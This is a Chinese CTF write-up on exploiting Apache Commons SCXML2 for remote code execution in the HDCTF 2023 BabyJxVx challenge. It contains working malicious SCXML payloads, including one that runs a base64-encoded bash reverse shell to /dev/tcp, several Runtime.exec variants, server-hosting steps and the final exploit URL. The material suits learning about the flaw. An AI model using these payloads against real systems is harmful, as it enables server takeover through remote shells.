Apache SCXML2 RCE漏洞

文章目录


前言

在做 HDCTF 2023BabyJxVx 遇到的知识点,但是没公网的服务器只能作罢,写下这篇文章记录

源码利用

复制代码
public String Flag(@RequestParam(required = true) String filename) {
        SCXMLExecutor executor = new SCXMLExecutor();

        try {
            if (check(filename)) {
                SCXML scxml = SCXMLReader.read(filename);
                executor.setStateMachine(scxml);
                executor.go();
                return "Revenge to me!";
            }

            System.out.println("nonono");
        } catch (Exception var4) {
            System.out.println(var4);
        }

        return "revenge?";
}

大概考点就是接收filename参数,然后利用SCXMLReader.read()方法来读取恶意xml

上传恶意xml文件

构造payload

shell.xml源码

复制代码
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <final id="run">
        <onexit>
            <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
        </onexit>
    </final>
</scxml>
  • <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> :定义了一个 SCXML 状态机,其中 xmlns属性指定了命名空间,version属性指定了版本,initial 属性指定了初始状态为 run。
  • <final id="run">:定义了一个状态,它是最终状态,它的 id 属性为 run。
  • <onexit>:定义了一个事件,在退出状态时触发
  • <assing........> : location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。

除此之外还有很多构造的

复制代码
<?xml version="1.0"?> 
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
	<state id="run">
		<onentry> 
			<script> 
				''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
			</script>
		</onentry>
	</state>
</scxml>

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <state id="run">
        <onentry>
            <if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></if>
        </onentry>
    </state>
</scxml>

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <datamodel>
    	<data id="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></data>
    </datamodel>
</scxml>

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <parallel>
    	<invoke src="test" content="test" id="flag"> 
    		<param name="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></param>
    	</invoke>
    </parallel>
</scxml>

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <state>
    	<history src="test" content="test" id="flag">
    		<transition name="flag" cond="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></transition>
    	</history>
    </state>
</scxml>

搭建Apache服务器

首先我们得在本地搭建服务器,这里我以kali为例

依次执行以下命令

复制代码
sudo apt-get update

sudo apt-get install apache2

sudo service apache2 start    #启动服务

然后我们在浏览器访问http://ip

然后我们将写好的xml文件mv到该根目录下

复制代码
mv /home/kali/shell.xml /var/www/html/

上传成功后我们开启临时文件服务器,在根目录执行下面命令

复制代码
python3 -m http.server 8000

访问8000端口,成功访问

远程RCE

我们直接在题目处远程RCE,payload如下

复制代码
http://node4.anna.nssctf.cn:28342/Flag?filename=http://服务器ip:8000/shell.xml
相关推荐
Aision_1 小时前
代码安全学习手记(二):SCA 软件成分分析原理与 OWASP Dependency-Check 集成实战
运维·人工智能·学习·安全·web安全·网络安全
虹科网络安全1 小时前
从33.2%降至4.2%:KnowBe4 2026报告揭示持续培训如何重塑企业安全防线
安全
是隼人1 小时前
buuctf-pwn bjdctf_2020_babystack2题解 整数溢出(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
艺杯羹2 小时前
古典密码学攻防演进全景:从凯撒移位、频率分析到一次一密与恩尼格玛机破译
网络·人工智能·安全·网络安全·密码学·密码安全
MartinYeung52 小时前
Aztec Connect 黑客攻击深度剖析:结算边界绕过漏洞
安全·区块链
电子云与长程纠缠2 小时前
UE5 Lyra PocketWorld进行3D内容UI预览 - 上
开发语言·学习·3d·ue5·游戏引擎
210Brian2 小时前
STM32学习笔记(六)EXTI外部中断(下)
笔记·stm32·学习
MartinYeung53 小时前
[论文学习]Latent Fusion Jailbreak: 融合有害与无害表征以诱导大语言模型产生不安全输出
学习·安全·语言模型
星恒随风3 小时前
C++ 哈希详解(二):开放定址、哈希桶与 C++ 哈希表底层实现
c++·笔记·学习·哈希算法·散列表
迪丽热爱3 小时前
每日英语-17
学习